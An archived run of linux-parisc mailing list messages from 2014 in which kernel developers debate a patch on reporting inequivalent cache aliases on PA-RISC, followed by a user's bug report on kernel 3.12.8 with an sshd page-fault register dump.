the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: report inequivalent aliases only for writeable
 mappings
Date: Wed, 22 Jan 2014 16:45:07 -0500
Lines: 71
Approved: news@gmane.org
Message-ID: <BLU0-SMTP653E849DC18BBE6054E93597A70@phx.gbl>
References: <alpine.LRH.2.02.1401221402190.12739@file01.intranet.prod.int.rdu2.redhat.com>  <1390418695.2372.86.camel@dabdike.int.hansenpartnership.com>  <alpine.LRH.2.02.1401221535290.25455@file01.intranet.prod.int.rdu2.redhat.com> <1390424223.2372.100.camel@dabdike.int.hansenpartnership.com> <alpine.LRH.2.02.1401221629520.1498@file01.intranet.prod.int.rdu2.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1390427124 10530 80.91.229.3 (22 Jan 2014 21:45:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 22 Jan 2014 21:45:24 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: Mikulas Patocka <mpatocka@redhat.com>,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 22 22:45:30 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W65bz-0005cR-DG
	for glpp-linux-parisc@plane.gmane.org; Wed, 22 Jan 2014 22:45:27 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752539AbaAVVp0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 22 Jan 2014 16:45:26 -0500
Original-Received: from blu0-omc4-s10.blu0.hotmail.com ([65.55.111.149]:43513 "EHLO
	blu0-omc4-s10.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752101AbaAVVp0 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 22 Jan 2014 16:45:26 -0500
Original-Received: from BLU0-SMTP65 ([65.55.111.136]) by blu0-omc4-s10.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Wed, 22 Jan 2014 13:45:25 -0800
X-TMN: [MimGbRBETdfKf3wYiVVTahsK7Ky06ZdM]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.0.181] ([76.66.97.170]) by BLU0-SMTP65.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Wed, 22 Jan 2014 13:45:24 -0800
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.2.0
In-Reply-To: <alpine.LRH.2.02.1401221629520.1498@file01.intranet.prod.int.rdu2.redhat.com>
X-OriginalArrivalTime: 22 Jan 2014 21:45:24.0328 (UTC) FILETIME=[418F7E80:01CF17BB]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5633
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5633>

On 1/22/2014 4:31 PM, Mikulas Patocka wrote:
>
> On Wed, 22 Jan 2014, James Bottomley wrote:
>
>> On Wed, 2014-01-22 at 15:39 -0500, Mikulas Patocka wrote:
>>> On Wed, 22 Jan 2014, James Bottomley wrote:
>>>
>>>> On Wed, 2014-01-22 at 14:11 -0500, Mikulas Patocka wrote:
>>>> [no comment on the merits of the patch, just the wording of the change
>>>> log]
>>>>> This patch changes it so that INEQUIVALENT ALIASES are only reported for
>>>>> writeable mappings. PA-RISC specification allows inequivalent aliases for
>>>>> read-only mappings, so there's no need to report them as an error.
>>>> No, it doesn't.  The spec says no inequivalent aliases at all for
>>>> certain types of CPU (that was the cause of the inability to boot on the
>>>> CPU with the combined PIPT/VIPT cache) ... we believe we skirted the
>>>> requirements with some judicious flushing but we can't say it was
>>>> supported by the docs.
>>>>
>>>> James
>>> A citation from Parisc 2.0 specification, Appendix F, section Address
>>> Aliasing:
>>>
>>> "Software is allowed to have any number of read-only non-equivalently
>>> aliased translations to a physical page, as long as there are no other
>>> translations to the page. This is referred to as read-only non-equivalent
>>> aliasing."
>> The kernel alias is read/write.
>>
>> James
> But the kernel alias shouldn't be loaded in the TLB for dynamic libraries
> that are mapped read-only.
The majority messages occur because of a binutils bug that was fixed 
several years ago.
There's a non equivalent mapping between the last code page and the 
start of writable
data in almost every application and shared library in Debian 5. This is 
fixed in the current
Debian unstable and Gentoo.  So, I recommend updating.

When the user aliases are re-enabled, we have the following situation 
when  non equivalent
aliases exist:

"All other uses of non-equivalent aliasing (including simultaneously 
enabling multiple non-equivalently
aliased translations where one or more allow for write access) are 
prohibited, and can cause machine
checks or silent data corruption, including data corruption of unrelated 
memory on unrelated pages."

I'm not sure that we handle correctly handle the case where there are 
only equivalent user aliases.
Calling flush_dcache_page() was a step in this direction but 
unfortunately Helge and I have found
a side effect (zombies run by expect in gcc/gdb testsuites).  I've also 
found another situation where
non equivalent aliases are generated.

I tend to think message should be a debug message.

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: report inequivalent aliases only for writeable
 mappings
Date: Wed, 22 Jan 2014 17:27:28 -0500 (EST)
Lines: 73
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.02.1401221650320.3906@file01.intranet.prod.int.rdu2.redhat.com>
References: <alpine.LRH.2.02.1401221402190.12739@file01.intranet.prod.int.rdu2.redhat.com>  <1390418695.2372.86.camel@dabdike.int.hansenpartnership.com>  <alpine.LRH.2.02.1401221535290.25455@file01.intranet.prod.int.rdu2.redhat.com>
 <1390424223.2372.100.camel@dabdike.int.hansenpartnership.com> <alpine.LRH.2.02.1401221629520.1498@file01.intranet.prod.int.rdu2.redhat.com> <BLU0-SMTP653E849DC18BBE6054E93597A70@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1390429654 8424 80.91.229.3 (22 Jan 2014 22:27:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 22 Jan 2014 22:27:34 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 22 23:27:41 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W66Gq-0006C2-TQ
	for glpp-linux-parisc@plane.gmane.org; Wed, 22 Jan 2014 23:27:41 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752898AbaAVW1h (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 22 Jan 2014 17:27:37 -0500
Original-Received: from mx1.redhat.com ([209.132.183.28]:13718 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751649AbaAVW1g (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 22 Jan 2014 17:27:36 -0500
Original-Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s0MMRUNJ020259
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Wed, 22 Jan 2014 17:27:30 -0500
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (file01.intranet.prod.int.rdu2.redhat.com [10.11.5.7])
	by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s0MMRTOj003428
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Wed, 22 Jan 2014 17:27:30 -0500
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (localhost [127.0.0.1])
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4) with ESMTP id s0MMRTP1010167;
	Wed, 22 Jan 2014 17:27:29 -0500
Original-Received: from localhost (mpatocka@localhost)
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4/Submit) with ESMTP id s0MMRSXg010164;
	Wed, 22 Jan 2014 17:27:28 -0500
X-Authentication-Warning: file01.intranet.prod.int.rdu2.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@file01.intranet.prod.int.rdu2.redhat.com
In-Reply-To: <BLU0-SMTP653E849DC18BBE6054E93597A70@phx.gbl>
User-Agent: Alpine 2.02 (LRH 1266 2009-07-14)
X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5634
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5634>

> The majority messages occur because of a binutils bug that was fixed several
> years ago.
> There's a non equivalent mapping between the last code page and the start of
> writable
> data in almost every application and shared library in Debian 5. This is fixed
> in the current
> Debian unstable and Gentoo.  So, I recommend updating.

So far I haven't had any problems with Debian 5, so I prefer it to the 
constantly changing unstable.

Anyway, the kernel should work with Debian 5 - the only way how to install 
a new parisc system is to install Debian 5 and then switch to 
debian-ports.

> When the user aliases are re-enabled, we have the following situation when
> non equivalent
> aliases exist:
> 
> "All other uses of non-equivalent aliasing (including simultaneously enabling
> multiple non-equivalently
> aliased translations where one or more allow for write access) are prohibited,
> and can cause machine
> checks or silent data corruption, including data corruption of unrelated
> memory on unrelated pages."
> 
> I'm not sure that we handle correctly handle the case where there are only
> equivalent user aliases.
> Calling flush_dcache_page() was a step in this direction but unfortunately
> Helge and I have found
> a side effect (zombies run by expect in gcc/gdb testsuites).  I've also found
> another situation where
> non equivalent aliases are generated.
> 
> I tend to think message should be a debug message.
> 
> Dave
> 
> -- 
> John David Anglin    dave.anglin@bell.net


There is another problem - flushing the cache in kmap_atomic doesn't fix 
inequivalent aliasing because there may be other threads on other CPUs 
touching that page from userspace simultaneously.


I got an idea that it could be possible to implement kmap_atomic without 
flushing the cache - currently, 64-bit pagetables map 2^41 bytes of 
memory. You can hack the kernel tlb handler, so that the addresses above 
2^41 map to the same memory as base kernel space, just shifted by a few 
pages.

Suppose that the following ranges in the kernel address space map to the 
same memory:

0 ... 2^41-1	(the original kernel mapping)
2^41 + 4096 ... 2*2^41 + 4095 (an alias shifted by 4k)
2*2^41 + 8192 ... 3*2^41 + 8191 (an alias shifted by 8k)
3*2^41 + 12288 ... 4*2^41 + 12287 (an alias shifted by 12k)
... etc for all 1024 page aliasings.
1023*2^41 + 4190208 ... 1024*2^41 + 4190207 (an alias shifted by 4M-4k)

Then, kmap_atomic could select a kernel mapping that has the same 
cache-equivalence as the existing userspace mapping and simply return it 
to kernelspace without flushing the cache.

Mikulas
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: report inequivalent aliases only for writeable mappings
Date: Wed, 22 Jan 2014 21:26:33 -0500
Lines: 139
Approved: news@gmane.org
Message-ID: <BLU0-SMTP69D00813F3618BE849AA597A60@phx.gbl>
References: <alpine.LRH.2.02.1401221402190.12739@file01.intranet.prod.int.rdu2.redhat.com>  <1390418695.2372.86.camel@dabdike.int.hansenpartnership.com>  <alpine.LRH.2.02.1401221535290.25455@file01.intranet.prod.int.rdu2.redhat.com> <1390424223.2372.100.camel@dabdike.int.hansenpartnership.com> <alpine.LRH.2.02.1401221629520.1498@file01.intranet.prod.int.rdu2.redhat.com> <BLU0-SMTP653E849DC18BBE6054E93597A70@phx.gbl> <alpine.LRH.2.02.1401221650320.3906@file01.intranet.prod.int.rdu2.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1390444008 28835 80.91.229.3 (23 Jan 2014 02:26:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 23 Jan 2014 02:26:48 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: Mikulas Patocka <mpatocka@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jan 23 03:26:54 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W6A0L-0004CL-Sl
	for glpp-linux-parisc@plane.gmane.org; Thu, 23 Jan 2014 03:26:54 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752609AbaAWC0x (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 22 Jan 2014 21:26:53 -0500
Original-Received: from blu0-omc4-s15.blu0.hotmail.com ([65.55.111.154]:63559 "EHLO
	blu0-omc4-s15.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752516AbaAWC0w (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 22 Jan 2014 21:26:52 -0500
Original-Received: from BLU0-SMTP6 ([65.55.111.135]) by blu0-omc4-s15.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Wed, 22 Jan 2014 18:26:52 -0800
X-TMN: [FWwmUyk2Kcx971JOLA5857cA0UyGg2qu]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.170.59]) by BLU0-SMTP6.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Wed, 22 Jan 2014 18:26:50 -0800
In-Reply-To: <alpine.LRH.2.02.1401221650320.3906@file01.intranet.prod.int.rdu2.redhat.com>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 23 Jan 2014 02:26:50.0700 (UTC) FILETIME=[929F60C0:01CF17E2]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5635
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5635>

On 22-Jan-14, at 5:27 PM, Mikulas Patocka wrote:

>> The majority messages occur because of a binutils bug that was  
>> fixed several
>> years ago.
>> There's a non equivalent mapping between the last code page and the  
>> start of
>> writable
>> data in almost every application and shared library in Debian 5.  
>> This is fixed
>> in the current
>> Debian unstable and Gentoo.  So, I recommend updating.
>
> So far I haven't had any problems with Debian 5, so I prefer it to the
> constantly changing unstable.
>
> Anyway, the kernel should work with Debian 5 - the only way how to  
> install
> a new parisc system is to install Debian 5 and then switch to
> debian-ports.

Actually, Helge has a lifimage that allows a new Debian system to be  
setup with debootstrap.
Helge is working toward new installer.  There's documentation on wiki  
on how to do it.

At the moment, we are stuck with the constantly changing unstable.  I  
want to say though
that even if your suggestion below works, there are non equivalent   
aliases in most Debian 5
applications and libraries.  So, even if kernel updates to pages are  
done equivalently,
this might cause issues.

>
>> When the user aliases are re-enabled, we have the following  
>> situation when
>> non equivalent
>> aliases exist:
>>
>> "All other uses of non-equivalent aliasing (including  
>> simultaneously enabling
>> multiple non-equivalently
>> aliased translations where one or more allow for write access) are  
>> prohibited,
>> and can cause machine
>> checks or silent data corruption, including data corruption of  
>> unrelated
>> memory on unrelated pages."
>>
>> I'm not sure that we handle correctly handle the case where there  
>> are only
>> equivalent user aliases.
>> Calling flush_dcache_page() was a step in this direction but  
>> unfortunately
>> Helge and I have found
>> a side effect (zombies run by expect in gcc/gdb testsuites).  I've  
>> also found
>> another situation where
>> non equivalent aliases are generated.
>>
>> I tend to think message should be a debug message.
>>
>> Dave
>>
>> -- 
>> John David Anglin    dave.anglin@bell.net
>
>
> There is another problem - flushing the cache in kmap_atomic doesn't  
> fix
> inequivalent aliasing because there may be other threads on other CPUs
> touching that page from userspace simultaneously.

That is the fundamental issue.  In part, it may be the assumptions  
surrounding how
COW is implemented.  I know reverting the kmap part of the change  
works better.
In that implementation, copy_user_page() flushes the from page itself.

I know the above is pretty solid as I ran with it for two weeks  
without any obvious cache issues.

What led us to the kmap flush is that the aio code reads and writes  
the kernel pages.
Is it possible that user access isn't involved there or there's a user  
flush before the aio
operation?

In some sense, this would seem to be a Linux core design problem if  
access
to shared pages isn't controlled.  I imagine various arm variants  
would also break
from these issues.


>
>
> I got an idea that it could be possible to implement kmap_atomic  
> without
> flushing the cache - currently, 64-bit pagetables map 2^41 bytes of
> memory. You can hack the kernel tlb handler, so that the addresses  
> above
> 2^41 map to the same memory as base kernel space, just shifted by a  
> few
> pages.
>
> Suppose that the following ranges in the kernel address space map to  
> the
> same memory:
>
> 0 ... 2^41-1	(the original kernel mapping)
> 2^41 + 4096 ... 2*2^41 + 4095 (an alias shifted by 4k)
> 2*2^41 + 8192 ... 3*2^41 + 8191 (an alias shifted by 8k)
> 3*2^41 + 12288 ... 4*2^41 + 12287 (an alias shifted by 12k)
> ... etc for all 1024 page aliasings.
> 1023*2^41 + 4190208 ... 1024*2^41 + 4190207 (an alias shifted by  
> 4M-4k)
>
> Then, kmap_atomic could select a kernel mapping that has the same
> cache-equivalence as the existing userspace mapping and simply  
> return it
> to kernelspace without flushing the cache.

This is a very interesting suggestion.  I wasn't a aware that the  
kernel mapping
could be controlled in this way.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: report inequivalent aliases only for writeable
 mappings
Date: Thu, 23 Jan 2014 20:21:47 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <52E16BCB.60303@gmx.de>
References: <alpine.LRH.2.02.1401221402190.12739@file01.intranet.prod.int.rdu2.redhat.com>  <1390418695.2372.86.camel@dabdike.int.hansenpartnership.com>  <alpine.LRH.2.02.1401221535290.25455@file01.intranet.prod.int.rdu2.redhat.com> <1390424223.2372.100.camel@dabdike.int.hansenpartnership.com> <alpine.LRH.2.02.1401221629520.1498@file01.intranet.prod.int.rdu2.redhat.com> <BLU0-SMTP653E849DC18BBE6054E93597A70@phx.gbl> <alpine.LRH.2.02.1401221650320.3906@file01.intranet.prod.int.rdu2.redhat.com> <BLU0-SMTP69D00813F3618BE849AA597A60@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1390504907 30024 80.91.229.3 (23 Jan 2014 19:21:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 23 Jan 2014 19:21:47 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>,
	Mikulas Patocka <mpatocka@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jan 23 20:21:54 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W6Pqa-0007Qj-0Q
	for glpp-linux-parisc@plane.gmane.org; Thu, 23 Jan 2014 20:21:52 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753026AbaAWTVv (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 23 Jan 2014 14:21:51 -0500
Original-Received: from mout.gmx.net ([212.227.17.20]:53964 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752223AbaAWTVv (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 23 Jan 2014 14:21:51 -0500
Original-Received: from [192.168.178.60] ([84.173.73.198]) by mail.gmx.com (mrgmx103)
 with ESMTPSA (Nemesis) id 0M3ARX-1VH3yk2A6x-00suca for
 <linux-parisc@vger.kernel.org>; Thu, 23 Jan 2014 20:21:49 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0
In-Reply-To: <BLU0-SMTP69D00813F3618BE849AA597A60@phx.gbl>
X-Enigmail-Version: 1.6
X-Provags-ID: V03:K0:kEnEhedlm8vA8bvbZXK8ptHuedeBLfnkX2wGBd6KzUgDjHZJWbk
 mMbbeaKU4C7FFcZGMFf4SH2+uoeHFapyodkeihK50crlpZHcG4YcHyqU+3TE0X2y2hVjQ9S
 aMmbyo5tEzHhnnr8y7fwxOWEgd6sMBzf90AtRpdmcMhRYWAznTOfVUPE+MqgK4JcYSGvftV
 hP9bk1IGWam8ejeNdzGRg==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5636
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5636>

Hi Mikulas,

On 01/23/2014 03:26 AM, John David Anglin wrote:
> On 22-Jan-14, at 5:27 PM, Mikulas Patocka wrote:
>> Anyway, the kernel should work with Debian 5 - the only way how to install
>> a new parisc system is to install Debian 5 and then switch to
>> debian-ports.
> 
> Actually, Helge has a lifimage that allows a new Debian system to be setup with debootstrap.
> Helge is working toward new installer.  There's documentation on wiki on how to do it.

Installing Debian unstable from debian-ports is fully described here:
https://parisc.wiki.kernel.org/index.php/Debian_Ports_Installation
(You will see some inequivalent aliases messages because the lifimage is still based on old binaries)

That's how I installed the debian buildd servers:
http://unstable.buildd.net/index-hppa.html

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: 3.12.8 is doing nasty things
Date: Fri, 24 Jan 2014 21:44:51 +0100
Lines: 104
Approved: news@gmane.org
Message-ID: <2696873.HIAXvrDslF@caliban.sf-tec.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart3336682.qQgXemuarZ"; micalg="pgp-sha1"; protocol="application/pgp-signature"
X-Trace: ger.gmane.org 1390596695 10065 80.91.229.3 (24 Jan 2014 20:51:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 24 Jan 2014 20:51:35 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 24 21:51:42 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W6nj3-00006A-Q3
	for glpp-linux-parisc@plane.gmane.org; Fri, 24 Jan 2014 21:51:42 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752371AbaAXUvl (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 24 Jan 2014 15:51:41 -0500
Original-Received: from mail.sf-mail.de ([78.47.74.12]:55572 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752288AbaAXUvk (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 24 Jan 2014 15:51:40 -0500
X-Greylist: delayed 400 seconds by postgrey-1.27 at vger.kernel.org; Fri, 24 Jan 2014 15:51:40 EST
Original-Received: (qmail 24936 invoked from network); 24 Jan 2014 20:44:43 -0000
Original-Received: from dslb-092-077-068-102.pools.arcor-ip.net ([::ffff:92.77.68.102]:52710 HELO caliban.sf-tec.de) (auth=eike@sf-mail.de)
	by mail.sf-mail.de (Qsmtpd 0.26svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Fri, 24 Jan 2014 21:44:43 +0100
User-Agent: KMail/4.12 (Linux/3.12.7-1.g2424219-desktop; KDE/4.12.0; x86_64; ; )
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5637
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5637>


--nextPart3336682.qQgXemuarZ
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="us-ascii"

I reported that I saw strange things happening after upgrading to 3.12.5. 
Meanwhile I upgraded to 3.12.8 and things became worse. I regularly see 
processes to fail randomly. I can see this as I somethimes get failures in my 
nagios because the SSH connection to the watched host (only the watched one 
runs .8) fails. I then see stuff like this in dmesg:

[723945.604000] do_page_fault() pid=30516 command='sshd' type=15 
address=0x00000000
[723945.604000] CPU: 1 PID: 30516 Comm: sshd Not tainted 3.12.8 #1
[723945.604000] task: 000000023f0eb7c8 ti: 00000002397ac000 task.ti: 
00000002397ac000

[723945.604000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
[723945.604000] PSW: 00000000000001001111111100001111 Not tainted
[723945.604000] r00-03  000000ff0004ff0f 0000000040c3dc64 0000000040b63027 
0000000000000000
[723945.604000] r04-07  0000000040c3d464 0000000000000000 000000000008d11c 
0000000000089ca0
[723945.604000] r08-11  000000000008d11c 000000000008991c 000000000008811c 
000000000008811c
[723945.604000] r12-15  000000000008811c 0000000000000000 000000000008811c 
00000000000888a8
[723945.604000] r16-19  000000000006eb1c 000000000006eb3c 000000000006e440 
0000000040c3d464
[723945.604000] r20-23  00000000fb014990 000000004145eb40 0000000000000000 
0000000000000095
[723945.604000] r24-27  00000000fffffff5 0000000040002890 00000000fb014988 
000000000008711c
[723945.604000] r28-31  fffffffffffffffe 0000000000000000 00000000fb014a00 
0000000040b644c3
[723945.604000] sr00-03  0000000006807000 0000000000000000 0000000000000000 
0000000006807000
[723945.604000] sr04-07  0000000006807000 0000000006807000 0000000006807000 
0000000006807000

[723945.604000]       VZOUICununcqcqcqcqcqcrmunTDVZOUI
[723945.604000] FPSR: 00000000000000000000000000000000
[723945.604000] FPER1: 00000000
[723945.604000] fr00-03  0000000000000000 0000000000000000 0000000000000000 
0000000000000000
[723945.604000] fr04-07  41d4b5f44002d0e5 0000000000000000 0000000000000000 
0000000000000000
[723945.604000] fr08-11  0000000000000000 0000000000000000 0000000000000000 
0000000000000000
[723945.604000] fr12-15  41d4b5f44002d0e5 0000000000000000 0000000000000000 
0000000000000000
[723945.604000] fr16-19  0000000000000000 0000000000000000 0000000000000000 
0000000000000000
[723945.604000] fr20-23  0000000000000000 0000000000000000 0000000000469971 
0000000600000000
[723945.604000] fr24-27  0000000034a94675 0000000000000000 0000000000000000 
0000000000000000
[723945.604000] fr28-31  0000000000000000 0000000000000000 0000000000000000 
0000000000000000

